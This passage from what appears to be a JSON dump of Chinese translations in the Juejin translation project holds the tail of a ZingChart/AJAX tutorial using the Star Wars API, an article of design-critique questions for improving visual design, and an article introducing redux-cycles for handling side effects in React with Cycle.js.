创建空数组\n\n接下来我们需要创建一个变量来保存一个空数组，我们将称之为 `characterInfo`。当后期我们遍历对象时，可以将值推送到这个数组中。看看下面：\n\n```\nvar characterInfo = [];  \n```\n\n***我们可以将数组中的数组直接放到 ZingChart 中，并使用x轴和y轴的值来绘制图表。这非常有用。***\n\n### 遍历响应\n\n由于我们的 `character` 变量将被存储在一个对象数组中，我们可以使用 `forEach` 方法来遍历它。\n\n`forEach` 方法需要一个回调函数，它将传入一个 `character` 参数。character 参数与 for 循环中的 `character[i]` 相同。它代表着它正在循环的对象。我们可以使用 JSON 点符号来访问我们在循环过程中需要的任何对象。\n\n我们将从每个对象中提取两条数据：`name` 和 `height`。这是我们之前的空数组发挥作用的地方。在我们循环的每个对象中，我们可以使用回调函数内的`array.push()` 方法将值推送到我们空的 `characterInfo` 数组的末尾。\n\n我们可以以数组格式插入值，以便我们可以有一个包含 character name 和 height 数组的数组。这些值将作为字符串值返回，这对于 name 属性是很好的。但是，我们可以使用 `parseInt()` 方法将每个高度值从一个字符串转换为一个数字。\n\n我们的代码将如下所示：\n\n```\nxhr.addEventListener('load', function() {  \n  if (this.status == 200) {\n    var response = \n    JSON.parse(this.responseText);\n    var characters = response.results;\n    var characterData = [];\n    characters.forEach(function(character) {\n      characterData.push([character.name, \n      parseInt(character.height)]);\n    });\n  });\n```\n\n## 创建请求\n\nAJAX 请求的最后两个步骤实际上是促使其发生的。首先是 open 方法，打开了我们的请求。这个请求是一个 GET 请求，是 XMLHttpRequest()方法的 HTTP 部分。\n\nGET 请求是实际到达 API 端点并获取数据。我会告诉你它是什么样子，然后我们解析它。\n\n```\nxhr.open('GET', 'https://swapi.co/api/people/');  \n```\n\n使用 `.open`，我们打开这个请求到指定的 URL: `https://swapi.co/api/people/`。这将返回一个包含 Star Wars characters 和一些额外的数据的对象数组。 REST API 通常具有一个可以获取数据的 API URL。如果您感兴趣，请查看 Star Wars API [docs](https://swapi.co/documentation)查看您可以获取的不同数据集。\n\nREST API 几乎可以让你通过操作 URL 来指定你想要的数据。稍后在自己的 demo 中使用 Star Wars API，看看你能得到什么。\n\n## 发送请求\n\n最后一步可以说是您的 AJAX 请求中最重要的一部分。**如果你不这样做，这个教程将失效**。我们必须在我们的 `xhr` 变量上使用 `.send()` 方法来实际发送请求，像这样：\n\n```\nxhr.send();  \n```\n\n现在我们已经有了 AJAX 请求的框架，我们可以使用从 Star Wars REST API 端点返回的响应。\n\n## 渲染一个图表\n\n渲染图表包括四个步骤：\n\n1. HTML：创建一个唯一 ID 的 `<div>`。\n\n2. CSS：给这个 `</div>` 赋值高度和宽度。\n\n3. JS：创建一个图表配置变量。\n\n4. JS：使用 `zingchart.render({});` 方法来呈现图表。\n\n### HTML\n\n为了渲染一个图表，我们需要一个图表容器。我们可以用 `<div>` 做这个。我们还需要给这个 `<div>` 唯一的 ID：\n\n```\n<div id=\"chartOne\"></div>  \n```\n\n我使用编号图表方法，如果我们后期需要参考，在代码中很容易找到。\n\n### CSS\n\n我们将在我们的 CSS 中使用这个唯一的 ID 来声明一个高度和宽度：\n\n```\n#chartOne {\n  height: 200px;\n  width: 200px;\n}\n```\n\n如果我们不能声明高度和宽度，图表将不会呈现。\n\n### 图表配置变量\n\n您可以在您的应用程序中为您命名这个演示。 我选择将其命名为 **'chartOneData'**，因为我们可以轻松地将其绑定至 **'chartOne'** ID。\n\n这个变量实际上只有两个重要的方面：\n\n1. 声明一个图表类型（在这个例子中我们使用的是柱形图）。\n\n2. 将值添加到我们的图表。\n\n***我们所有的图表信息将被放置在我们的事件监听器回调函数中。***\n\n### 声明一个图表类型\n\nZingChart 有一个可声明的语法，所以选择一个图表类型就像声明一个键值对一样简单：\n\n```\nvar chartOneData = {  \n  type: 'bar'\n};\n```\n\n### 将值添加到图表\n\n向我们的图表添加值是以类似的方式来声明一个图表类型。这一次，我们将使用嵌套键值对来添加键值对。`series` 将采取一个名为值的对象。\n\n在这个值对象中，我们可以将数据传入到数组中。这包含了我们所有的角色信息。它看起来像这样：\n\n```\nvar chartOneData = {  \n  type: 'bar',\n  series: [\n    {\n      values: characterInfo\n    }\n  ]\n}\n```\n\n### 渲染图表\n\n渲染我们的图表也非常简单。我们可以使用一个内置的渲染方法，你所要做的就是传入几个键值对，它们是：\n\n1. `id`：这是我们传入我们的 `<div>` 元素的 id。\n\n2. `data`：他将是我们之前声明的图表变量的名称。\n\n3. `height`：这将是 **'100％'** 的值来填充我们的容器。\n\n4. `width`：这也将是 **'100％'** 的值来填补我们的容器。\n\n```\nzingchart.render({  \n  id: 'chartOne',\n  data: chartOneData,\n  height: '100%',\n  width: '100%'\n})\n```\n\n现在我们已经完成了，我们应该有一个完整的图表，它已经成功地从 REST API 中提取数据。太好了！\n\n\n## 完整 demo\n\n<iframe height=\"500\" scrolling=\"no\" title=\"REST API AJAX Request\" src=\"//codepen.io/zingchart/embed/de8544d3f634ae7c88144b3b237f19c0/?height=500&amp;theme-id=dark,result&amp;embed-version=2\" frameborder=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" style=\"width: 100%;\">See the Pen <a href='https://codepen.io/zingchart/pen/de8544d3f634ae7c88144b3b237f19c0/'>REST API AJAX Request</a> by ZingChart (<a href='https://codepen.io/zingchart'>@zingchart</a>) on <a href='https://codepen.io'>CodePen</a>.</iframe>\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-to-make-your-not-so-great-visual-design-better.md",
    "content": ">* 原文链接 : [How To Make Your Not-So-Great Visual Design Better](https://medium.com/facebook-design/how-to-make-your-not-so-great-visual-design-better-67972eee3825#.4e6hpsbkz)\n* 原文作者 : [Jasmine Friedl](https://medium.com/@jazzy33ca?source=post_header_lockup)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Liz](https://github.com/lizwangying)\n* 校对者: [Gran](https://github.com/Graning)，[Jiegao Zhu](https://github.com/JolsonZhu)\n\n# 产品设计怎样做才最优雅 \n\n![](https://cdn-images-1.medium.com/max/2000/1*nN4SgP1q4iEmRfoW9NTMyg.png)\nPhoto by William Iven\n图片来自 William Iven\n\n\n如何才能改进你的产品视觉设计呢？\n\n这个问题困扰了很多人。我在产品设计方向辅导、指导了很多学生，比如在圣弗朗西斯科艺术学院担任导师，在 AIGA Portfolio Day 作为产品复审，在 Facebook 辅导实习生等。\n\n学生的观念与专业产品设计师之间有这样一座桥梁，它由敬畏、激情、好奇心和满腹的疑问组成。\n \n*“我毕业后会何去何从？”*\n \n*“设计相关的工作都有什么？”*\n \n*“我适合做什么样的工作？”*\n \n*“如果我找不到工作怎么办？”*\n  \n*“如果根本没有职位招聘怎么办？”*\n \n*“我能为找工作准备些什么？”*\n\n最近，我们在[ Facebook 举办了一场自我评论](https://medium.com/facebook-design/peek-inside-a-facebook-design-critique-c4833efda26e#.4qt02buac)，其中有一位来自康奈尔大学的学生 [Jon Lee](https://medium.com/@jonleenj)。在我们为数不多的互动中，他身上有一些东西我很欣赏。那就是他的自我认知。他了解自己在视觉设计上有哪些地方需要提高。他有如此清晰地自我认知，归功于他从潜在的雇主身上得到的反馈，就像很多即将步入职场的同学一样，好奇作为一个设计师需要什么样的技能。他想知道怎样才能做得更好一点。\n\n成为一个产品设计老司机需要广泛的技能，具备 visual chops 是很重要的，尤其是在 Facebook。令我兴奋的是，Jon 在这方面很好奇，如果他现在在我身边，我会问 Jon 一个曾问过很多同学的问题，并给他提供一个方案，希望能够在 这个项目之外对他有所帮助。\n  \n这里有一个 Jon 分享的设计作品概览。从这里开始他才真正地在视觉设计的道路上踏上正轨。\n\n![](http://ac-Myg6wSTV.clouddn.com/d6cd82b49c70fc153a0f.png)  \nJon Lee 为应用 Nearspace 设计的概念图。\n   \n在 Facebook，我们经常将视觉设计的评判标准分为工艺和执行力。为了能够评估 Jon 这个作品的水平，并且激励他设计出更好的作品，我需要在评价他的作品之前向他提问和调查，因为这样更好地了解了别人的设计意图。\n \n### 你的层次结构是什么?\n\n- 你修改过你的设计风格么？我看到了两个风格（标题的大小写问题），至少三种大小类型、两种颜色、还有居中和左对齐两种类型。\n- header（头部）风格是哪一种？按钮的风格是什么？ body copy（广告正文）的风格呢？ metadata（元数据）呢？\n\n### 你使用的是什么样式？ \n\n- 按钮的字体有两种大小，两种按钮高度，两个外壳，三种颜色，我还看到了带有 icon（图标）的按钮。\n\n![](http://ac-Myg6wSTV.clouddn.com/1565099b887dd65adc38.jpeg)\n\n- 有两个不同的列表样式。一个显然是关于实时的发现模式（照片和业务名称、类别和星级），另一个看起来像一个线框（最近的发布的）。\n\n- 列表和按钮的设计风格有什么区别？在概要文件页面，卡片、按钮和列表是使用相同的白色背景，灰色轮廓样式。他们应该设计成不同的风格么？\n \n### 这种设计样式和现有的或已经发布的样式哪家强？\n\n- 如果选项能够切换，那么他们会自动切换么？取消和应用有必要么？ \n- 点击返回和点击取消是一样的么？把右上角换成X可以么？  \n- 我看到有一个重置按钮但是它没有起到任何过滤的作用。有必要在这种情况下添加这个按钮么？应用按钮能够取代重置按钮么？\n- 从用户体验角度，需要这个底部的导航条么？\n- 在同一垂直方向上的这些控件是否平行？他们都是必要的么？\n\n![](http://ac-Myg6wSTV.clouddn.com/01f5de79ae872536f138.jpeg)\n\n### 你的 margin（外边距）和 padding（内边距）的规范是什么？\n\n- 我从附近页面和资料页面看到很多细微的外边距；过滤页面更具有明显的外边距。\n- 在附近页面的竖直方向的地步导航几乎贴近了屏幕的边缘。\n- 为什么不用网格布局？\n\n### 你的 icon（图标）表达出想要呈现的意思么？\n\n- 我看到一个表示“座位”的图标有单个座位、三个座位和六个座位的图片聚集在一起。这是一个座位的计数还是一些座位数的大约值？又或者是一系列的座位么？有没有一个更好的方式来设计表达这个含义？这是“团购”有优惠的意思么？有没有另一种方式设计它？\n- 为什么没有明显的标志表示两个相反的意思？如果不是重要的元素，为什么你要显示出来这种无足轻重的元素？初步结果难道不应该包含所有可用的选项么？\n- Pie (派，一种食物)在这里是想表达 pie (派)？还是指代甜点？又或是代指所有食物？杯饮料意味着什么？你是假定认为每个餐厅都能够提供饮料吗?有更好的分组吗?\n\n### 你的选择设计风格的一致么？\n\n- 我看到在使用下拉过滤功能时，有一些过滤按钮选项的样式略有不同。\n- 一些只有 icon (图标) 的按钮，而某些按钮只有文字。\n- 一个按钮有角度，然而其他没有。 wifi 图标的线很粗；但是插座的线很细。有些像素化，有的则不是。一些是黑色的，又有一些是灰色的。\n\n![](http://ac-Myg6wSTV.clouddn.com/2b08ea063e6a0dee2170.jpeg)\n\n- 大多数的卡片和按钮拥有同样的样式：角弧度半径，轮廓，填充颜色等风格。他们是不是*过于*一致？\n\n### 屏幕上所有的元素都是必要的么？\n\n- 在搜索区域上方有一个分割线，还有每一个可选选项下方也有一个分割线。\n- 有一处使用了绿色\n- 导航使用了 icon (图标) 和文字，它们有同时存在的必要吗？\n  \n### 你怎样选择你的配色方案的？\n  \n- 你的配色方案是比较简约的暖色调，除了一个亮绿色的按钮。你有怎样的设计原则，在哪些地方应用了？\n\n\n![](http://ac-Myg6wSTV.clouddn.com/eabacd8b944dffa24c68.jpeg)\n  \n### 你的拼写、语法和标点符号正确吗?你的内容有逻辑吗?\n\n- “Nearby（附近）” 页面和 “Profile（概况）” 页面底部的导航条经常出现，但是这个 “add（添加）”是什么鬼?添加什么?\n- “Availability” 这个单词拼错了。\n- 这个 “Availability（可用）” 有存在的必要么？\n- 页面的“阅读量”是怎样计算的？（是读完所有文字还是只是匆匆一瞥算是一次阅读量的累积）你的页面标题是“过滤器”，但是你的头部显示为“距离”，另外这个页面可以过滤剩余可得座位，有无 Wifi ,插座和食物/饮料。但是你能向你的朋友解释清楚这个页面能做什么？这些页面结构合理么？它们的命名正确么？\n\n![](http://ac-Myg6wSTV.clouddn.com/26652ca0f75030a68f5e.jpeg)\n\n### 这个设计可移植性高么？\n\n- 如果你是为安卓平台设计的这款桌面，在其他平台你也会做出同样的设计决策么？在不同平台下，你的设计决策会不同么？\n \n如何改进你的产品视觉设计？\n  \n*解答*以上这些问题只是一个设计作品成功的开始。成为一枚优秀的设计师——成为一枚牛掰的“视觉”设计师——需独具匠心。这意味着你在以一个设计师的角度来考虑和解答每一个问题，而不是别人发现这些问题时木已成舟，那就为时已晚了。\n\n接下来的工作就是“针对性”的回答这些问题，确保你的设计意图是基于坚实的设计原则、研究和对细节的关注，当然啦，比如类似于风格和偏好这种问题，就会非常棘手。因为不是每个设计师的都有这些意识或者是理由充足的主意。这很正常，因为在提高你的设计的道路上，你首要做到的就是接受你的作品现在还并不完美。  \n\nIra Glass 对此有很棒的[观点](https://vimeo.com/85040589):\n   \n> 没人会向别人吐槽菜鸟——就算有人看出我菜，我也希望他不要嘲讽我——因为我们都是搞创作的...我们从事这行是因为我们有品位。这就像是一个瓶颈期，最初的几年你创作的东西，现在看来你是不是认为他们很一般？对吧？它们并不咋地。它们真的就是一般。但是你在*努力*地做到好，你有信心自己能够做好，但虽然你的作品真的没那么优秀。但是你的*品位*——用来搞创作的装备——还是你作品的修正符，它就是当你在看到你所创作的成果时心中略过的那丝丝缕缕的失望，你懂伐？\n   \n如果你有品位，它就能自己告诉你还有多少需要提高的地方，和应该怎样提高你的视觉设计。\n\n**多观察世界上设计作品然后形成自己的见解**什么是好的,什么是不好的。在你的见解中加强基础的设计原则。\n   \n**多浏览设计系统的搭建**比如材料设计（material design）和人机界面指南（Human Interface Guidelines）。\n   \n**多练手**\n\n**多浏览网站、多下载 app **，在 Dribbble （一个有名的设计网站）上浏览优秀的设计作品，切记**不能**复制别人的作品，而是问**为什么**这样设计就好呢？然后去揣摩答案。\n\n**依然是勤动手练习**\n   \n**向那些有设计见解的人展示你的作品**——就是那些技术不错的老司机设计师们，听取他们对于你的作品的意见，然后思考他们对于你的作品背后的设计意向。然后去找答案。\n \n**不断地自我反思**比如我们刚刚提到的。\n    \n现在我可以给 Jon 一些反馈，比如你的“设计风格种类遍地都是”、“你的绿色按钮格外突兀”。我还给他指明了一些解决办法比如“左对齐所有过滤器的类别中的按钮”、“缩小按钮的圆角半径”、“为你的品牌颜色选择一个亮色调”，如果“你”想使你的作品更好，就要不断打磨，细细雕琢。\n\n别人对你作品反馈和指导能够起到同样的作用;进步最快的方法通常是实践出真知，而不是只懂得规范\n。\n练习才能进步。一次又一次的努力尝试这种执行能力是初学者们第一次进入设计师这个角色,一旦设计师这个角色在你心中落定，它会一步一步引导你进步。\n"
  },
  {
    "path": "TODO/how-to-make-your-react-app-fully-functional-fully-reactive-and-able-to-handle-all-those-crazy.md",
    "content": "> * 原文地址：[How to make your React app fully functional, fully reactive, and able to handle all those crazy side effects](https://medium.freecodecamp.com/how-to-make-your-react-app-fully-functional-fully-reactive-and-able-to-handle-all-those-crazy-e5da8e7dac10#.amw15u5zd)\n* 原文作者：[Luca Matteis](https://medium.freecodecamp.com/@lmatteis)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[ZhangFe ](https://github.com/ZhangFe)\n* 校对者：[AceLeeWinnie](https://github.com/AceLeeWinnie)，[liucaihua9](https://github.com/liucaihua9)\n\n# 如何让你的 React 应用完全的函数式，响应式，并且能处理所有令人发狂的副作用\n\n![](https://cdn-images-1.medium.com/max/2000/1*lD7IVk_sCcOcgVDOJPn7cA.jpeg)\n\n[函数响应式编程](https://gist.github.com/staltz/868e7e9bc2a7b8c1f754) (FRP) 是一个在最近获得了无数关注的编程范式，尤其是在 JavaScript 前端领域。它是一个有很多含义的术语，却描述了一个极为简单的想法:\n\n> 所有的事物都应该是纯粹的以便于测试和推理 **（函数式）**，并且使用随时变化的值给异步行为建模 **（响应式）**。\n\nReact 本身并非完全的函数式，也不是完全的响应式。但是它受到了一些来自 FRP 背后理念的启发。例如 [函数式组件](https://facebook.github.io/react/docs/components-and-props.html) 就是一些依赖他们 props 的纯函数。 并且 [他们响应了 prop 和 state 的变化](https://facebook.github.io/react/docs/react-component.html#updating).\n(译者注：无状态组件只接收 props ，这里的 state 应该是指父元素的）\n\n但是一谈到**副作用的处理**（side effects），仅作为视图层的 React 就需要一些其他库的帮助了，比如说[Redux](https://github.com/reactjs/redux)。\n\n在这篇文章里我会谈谈 [redux-cycles](https://github.com/cyclejs-community/redux-cycles)，它是一个 Redux 中间件，借助 [Cycle.js](https://cycle.js.org/) 框架的优势，帮助你以一种函数式和响应式的方法处理你 React 应用中的副作用和异步代码，这是一个尚未被其他 Redux 副作用模型共享的特征。\n\n![](https://cdn-images-1.medium.com/max/1000/1*G_eskQOkhm6nv-NDylvbjw.jpeg)\n\n### 什么是副作用？\n\n副作用即是改变了外部世界的行为。你的应用里所有发出 HTTP 请求，写入 localStorage 的操作，或者甚至操作 DOM 都被认为是副作用。\n\n副作用是不好的，他们很难去测试，维护起来很复杂，并且通常你的 bug 都出现在这里。因此你的目标就是最小化或者定位他们。\n\n![](https://cdn-images-1.medium.com/max/800/1*GENmEdK1Rq2dB6H4uxzVNw.jpeg)\n\n> “由于有副作用的存在，一个程序的行为依赖于历史记录，即代码执行的顺序，因为理解一个有效的程序需要考虑到所有可能的历史记录，副作用经常会使一个程序很难理解。” —  [Norman Ramsey](http://stackoverflow.com/users/41661/norman-ramsey)\n\n以下是几种现今用来处理 Redux 中的副作用比较流行的方法：\n\n1. [redux-thunk](https://github.com/gaearon/redux-thunk)  — 将你有副作用的代码放在 action creators 中\n2. [redux-saga](https://github.com/redux-saga/redux-saga)  —  使用 saga 声明你的副作用逻辑\n3. [redux-observable](https://github.com/redux-observable/redux-observable)  —  使用响应式编程来给副作用建模\n\n然而问题是以上方法中没有一个既是纯函数式的又是响应式的。他们中有的（redux-saga）是纯函数有些（redux-observable）则是响应式的，但是没有一个拥有我们前文介绍的 FRP 所拥有的所有的概念。\n\n[**Redux-cycles**](https://github.com/cyclejs-community/redux-cycles) **既是纯函数又是响应式的**\n\n![](https://cdn-images-1.medium.com/max/800/1*KJuc4SE0zrxXuxBrfOpGjA.png)\n\n首先我们会更详细地解释这些函数式和响应式的概念以及为什么你需要关心这些，然后会详细介绍 redux-cycles 是如何工作的。\n\n---\n\n### 使用 Cycle.js 以纯函数的方式处理副作用\n\nHTTP 请求大概是最常见的副作用了。下面是一个使用 redux-thunk 发出 HTTP 请求的例子：\n\n    function fetchUser(user) {\n      return (dispatch, getState) => \n      fetch(`https://api.github.com/users/${user}`)\n    }\n\n这个函数是命令式的。虽然它返回了一个 promise 并且你可以使用其他 promises 来链式调用它，但是 `fetch()` 已经执行了，在这个特定时刻它已经不是一个纯函数了。\n\n这同样适用于 redux-observable:\n\n    const fetchUserEpic = action$ =>\n      action$.ofType(FETCH_USER)\n        .mergeMap(action =>\n      ajax.getJSON(`https://api.github.com/users/${action.payload}`)\n            .map(fetchUserFulfilled)\n        );\n\n`ajax.getJSON()` 使得这段代码是命令式的。\n\n**为了保证一个 HTTP 请求是纯粹的，你不应该去想“立刻发送一个 HTTP 请求”而是应该“描述一下我希望 HTTP 请求是什么样的”并且不要担心它何时发出去或者谁调用了它**\n\n这就是你在 [Cycle.js](https://cycle.js.org/) 中编写所有代码的本质。你使用这个框架所做的每件事都是创建你想做某事的描述。这些描述之后会被发送给那些实际关心 HTTP 请求的 [**drivers**](https://cycle.js.org/drivers.html) （通过响应式数据流）。\n\n    function main(sources) {\n      const request$ = xs.of({\n        url: `https://api.github.com/users/foo`,\n      });\n\n      return {\n        HTTP: request$\n      };\n    }\n\n就像你在上面这个代码片段中看到的，我们并没有调用函数去发出请求。如果你执行这段代码你会发现请求立即就发出了，那么背后究竟发生了什么呢？\n\n神奇之处就在于 drivers。当你的函数返回了一个包含 `HTTP` 键值的对象时，Cycle.js 知道需要处理它从数据流收到的消息，并且执行相应的 HTTP 请求（通过 HTTP driver）。\n\n![](https://cdn-images-1.medium.com/max/1000/1*2eF9bIE5BQExjIg1navQ-Q.png)\n\n**关键的一点是，你虽然没有摆脱副作用，HTTP 请求依然要发出，但是你将它定位在了你的应用代码之外**\n\n你的函数更加容易理解，尤其是更容易测试，因为你只要测试你的函数是否发出了正确的消息，不需要浪费那些无用的 mock 时间。\n\n### 响应式副作用\n\n在之前的例子里我们提到了响应式。这需要有一种和这些 drivers 沟通“在外部世界做某事”和被告知“外部世界有某事已经发生了”的方式。\n\n[Observables](http://reactivex.io/documentation/observable.html) (aka streams) 是对于这类异步交互的完美抽象。\n\n![](https://cdn-images-1.medium.com/max/800/1*Y9HjN7iA7k6QQm_l7MaP9w.png)\n\n每当你想“做某事”时，你会向输出流发出你想做什么的描述。在 Cycle.js 里这些输出流被称作 **sinks**。\n\n每当你想“被通知某事”你只要使用一个输入流（被称作**sources**）并且遍历一次流的值就能知道发生了什么。\n\n这形成一种 **反应式** **循环**，相比于一般的命令式代码，你需要一个不同的思维来理解它。\n让我们使用这个范例来建模一个HTTP请求/响应生命周期：\n\n    function main(sources) {\n      const response$ = sources.HTTP\n        .select('foo')\n        .flatten()\n        .map(response => response);\n\n      const request$ = xs.of({\n        url: `https://api.github.com/users/foo`,\n        category: 'foo',\n      });\n\n      const sinks = {\n      HTTP: request$\n      };\n      return sinks;\n    }\n\nHTTP driver 知道这个函数返回的 `HTTP` 键值。这是一个包含请求 GitHub 链接的 HTTP 请求流描述。它正在告诉 HTTP driver ：“我想要请求这个地址”。 \n\n之后这个 dirver 知道要执行请求，并且将返回值作为 sources（sources.HTTP）返回给 main 函数 — 注意 sinks 和 sources 使用相同的键值。\n\n让我们再解释一次：**我们用** **`sources.HTTP`** 来 **“被通知 HTTP 已经返回了”，并且我们返回了`sinks.HTTP` 来“发送 HTTP请求”**。\n\n这里有一个动画来解释这一重要的响应式循环：\n\n![](https://cdn-images-1.medium.com/max/1000/1*RfpxAyyI0h0itIABMZ9TfA.gif)\n\n相比于一般的命令式编程，这似乎是反直觉的：为什么读取响应值的代码在发出请求的代码之前？\n\n这是因为在 FRP 中代码在哪是不重要的。所有你要做的就是发送描述，并且监听变化，代码的顺序并不重要。\n\n这使得代码非常容易重构。\n\n---\n\n### 介绍 redux-cycles\n\n![](https://cdn-images-1.medium.com/max/800/1*_iikpPfUOR9f04iFGDJQLA.png)\n\n此时你可能会问，所有的这些和我的 React 应用有什么关系？\n\n仅仅通过写一些你想做某事的描述，你已经学习到了使用纯函数的优势，并且学习了用观察者去和外部世界交流的优势。\n\n现在，你将看到如何在你当前的 React 应用里使用这些概念去变成完全的函数式和响应式。\n\n#### 拦截并且调度 Redux 行为\n\n使用 Redux 时你需要 dispatch actions 来告诉你的 reducers 你需要一个新的state。 \n\n这是一个同步的流程，意味着一旦你想执行异步行为（为了副作用）你需要使用一些中间件来拦截这些 actions，相应的，你要触发其他的 actions 来执行这个异步副作用。\n\n这正是 [redux-cycles](https://github.com/cyclejs-community/redux-cycles) 所做的。它是一个中间件，拦截了 redux actions 后进入 Cycle.js 的响应式循环，并且允许你使用 drivers 去执行其他副作用。然后它基于你函数里的异步数据流描述 dispatch 一个新的 action。\n\n    function main(sources) {\n      const request$ = sources.ACTION\n        .filter(action => action.type === FETCH_USER)\n        .map(action => ({\n          url: `https://api.github.com/users/${action.payload}`,\n          category: 'users',\n        }));\n    \n      const action$ = sources.HTTP\n        .select('users')\n        .flatten()\n        .map(fetchUserFulfilled);\n    \n      const sinks = {\n      ACTION: action$,\n        HTTP: request$\n      };\n      return sinks;\n    }\n\n\n在上面这个例子里有一个新的 source 和 sink - **`ACTION`**。但是数据通信的模式是一致的。\n\n它使用 `sources.ACTION` 来监听被 Redux 调用的 actions。并且通过返回 `sinks.ACTION` 来dispatch 新的 actions。\n\n具体点说它是触发了标准的 [Flux Actions objects](https://github.com/acdlite/flux-standard-action)。\n\n最酷的事情是你可以结合其他 drivers 发生的事。在之前的例子里 **在 `HTTP` 域里发生的事确实触发了 `ACTION` 域，反之亦然**。\n\n— 注意，与 Redux 的通信完全通过 `ACTION` 的 source 和 sink。Redux-cycle 的 drivers 负责处理实际的 dispatch。\n\n![](https://cdn-images-1.medium.com/max/1000/1*A30wroaUd6WiLjq5c-fxYw.gif)\n\n### 更复杂的应用程序?\n\n如果只写那些转换数据流的纯函数该如何开发一个复杂的应用呢？\n\n使用[已有的 drivers](https://github.com/cyclejs-community/awesome-cyclejs#drivers)你已经可以做很多事了。或者你可以创建你自己的 drivers — 下面是一个简单的 driver，它在控制台上输出了写入其 sink 的消息。\n\n\n    run(main, {\n      LOG: msg$ => msg$.addListener({\n        next: msg => console.log(msg)\n      })\n    });\n\n`run` 是 Cycle.js 的一部分，它执行你的 main 函数（第一个参数）并且传入其他所有的 drivers（第二个参数）。\n\nRedux-cycles 推荐了两个你可以和 Redux 通信的 drivers， `makeActionDriver()` & `makeStateDriver()`:\n\n    import { createCycleMiddleware } from 'redux-cycles';\n\n    const cycleMiddleware = createCycleMiddleware();\n    const { makeActionDriver, makeStateDriver } = cycleMiddleware;\n\n    const store = createStore(\n      rootReducer,\n      applyMiddleware(cycleMiddleware)\n    );\n\n    run(main, {\n      ACTION: makeActionDriver(),\n      STATE: makeStateDriver()\n    })\n\n`makeStateDriver()` 是一个只读的 driver。这意味着在你的 main 函数里只能读取`sources.STATE`。你不能让它做什么，只能从它读取数据。\n\n每当 Redux 的 state 发生了变化，`sources.STATE` 流就会触发产生一个新的 state 对象。[当你需要基于当前应用的数据写一些特定逻辑时](https://github.com/cyclejs-community/redux-cycles#drivers) 非常有用\n\n![](https://cdn-images-1.medium.com/max/2000/1*YyiXu9GK7EKVUHQZnZnsKw.png)\n\n### 复杂的异步数据流\n\n![](https://cdn-images-1.medium.com/max/800/1*7OmEwOnki2v-cR7mESwD7w.gif)\n\n响应式编程的另一个巨大优势就是能够使用运算符将流组成其他流，可以随时将它们当做数据对待：你可以对它们进行 [`map`](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/gettingstarted/categories.md) [`filter`](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/gettingstarted/categories.md) [`甚至`](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/gettingstarted/categories.md) [`reduce`](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/gettingstarted/categories.md) 这些操作。\n\n运算符使得显式的数据流图（即操作符之间的依赖逻辑）成为可能。允许你通过各种操作符将数据流可视化，就像上面的动画一样。\n\nRedux-observable 也允许你写复杂的异步流，他们用一个复杂的 WebSocket 例子作为它们的卖点，然而以纯函数的方式编写这些流才是 Cycle.js 真正区别于其他方式的强大之处。\n\n> 由于一切都是纯数据流，我们可以想象到未来的编程将只是将操作符块连接到一起。\n\n### 使用弹子图（marble diagrams）测试\n\n![](https://cdn-images-1.medium.com/max/800/1*2uZuH38HrfZwZNgjJB3eNg.png)\n\n最后但也值得关注的是测试。这才是 redux-cycles（和通常所有的 Cycle.js 应用一样）真正闪耀的地方。\n\n因为你的应用代码里都是纯函数，要测试你的主要功能，你只需要将其作为输入流，并将特定流作为输出即可。\n\n使用这个很棒的 [@cycle/time](https://github.com/cyclejs/time) 项目，你甚至可以画一个 [弹子图](http://rxmarbles.com/) 并且以一种可视化的方式去测试你的函数：\n\n    assertSourcesSinks({\n      ACTION: { '-a-b-c----|': actionSource },\n      HTTP:   { '---r------|': httpSource },\n    }, {\n      HTTP:   { '---------r|': httpSink },\n      ACTION: { '---a------|': actionSink },\n    }, searchUsers, done);\n\n[这段代码](https://github.com/cyclejs-community/redux-cycles/blob/master/example/cycle/test/test.js) 执行了 [`searchUsers`](https://github.com/cyclejs-community/redux-cycles/blob/master/example/cycle/index.js#L31) 函数，将特定源作为输入（以第一个参数的方式）。给定的这些 sources 期望函数返回所提供的 sinks（以第二个参数的方式）。如果不是，断言就会失败。\n\n当你需要测试异步行为时，以图形的方式定义流特别有用。\n\n当 `HTTP` 源发出一个 `r` （响应），你会立刻看到 `a`（action）出现在 `ACTION` sink 中 — 他们同时发生。然而，当  `ACTION` source 发出一段 `-a-b-c`，你不要指望此时 `HTTP` sink 会发生什么。\n\n这是因为 `searchUsers` 去抖了他接收到的 actions。它只会在 ACTION source 流停止活动 800 毫秒后发送 HTTP 请求，这是一个自动完成的功能。\n\n测试这种异步行为对于纯函数和响应式函数来说是微不足道的。\n\n### 结论\n\n在这篇文章里我们介绍了 FRP 的真正力量。我们介绍了 Cycle.js 和它新颖的范式。如果你想学习更多的关于 FRP 的知识，Cycle.js [awesome list](https://github.com/cyclejs-community/awesome-cyclejs) 是一个很重要的资源。\n\n只使用 Cycle.js 本身而不使用 React 或者 Redux 可能有点痛苦， 但是如果你愿意放弃一些来自 React 或 Redux 社区的技术和资源的话还是可以做到的。\n\n另一方面，Redux-cycles 允许你继续使用所有的伟大的 React 的内容并且使用 FRP 和 Cycles.js 使你更加轻松。\n\n也十分感谢 [Gosha Arinich](https://medium.com/@goshakkk) 以及 [Nick Balestra](https://medium.com/@nickbalestra) 和我一起维护这个项目，也谢谢 [Nick Johnstone](https://twitter.com/widdnz) 校对这篇文章。\n\n"
  },
  {
